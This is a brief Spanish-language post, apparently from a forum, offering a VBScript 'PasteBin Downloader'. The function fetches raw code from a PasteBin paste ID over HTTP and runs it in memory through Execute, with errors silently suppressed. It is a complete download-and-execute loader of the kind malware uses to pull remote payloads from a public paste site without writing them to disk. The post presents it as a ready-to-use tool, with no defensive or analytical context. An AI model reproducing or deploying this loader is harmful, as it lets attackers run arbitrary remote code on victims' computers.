Bueno, esto es un simple PasteBin Downloader, lo que hace basicamente es descargar el codigo (VBScript) de PasteBin y ejecutarlo en memoria.

Function sDownloader(sPasteID)
    On Error Resume Next
 
    Dim GetCode, GetResponse
 
    Set GetCode = CreateObject("MSXML2.XMLHTTP")
    GetCode.Open "GET", "http://pastebin.com/raw.php?i=" & sPasteID, False
    GetCode.Send
 
    GetResponse = GetCode.ResponseText
    Execute(GetResponse)
End Function

//Regards.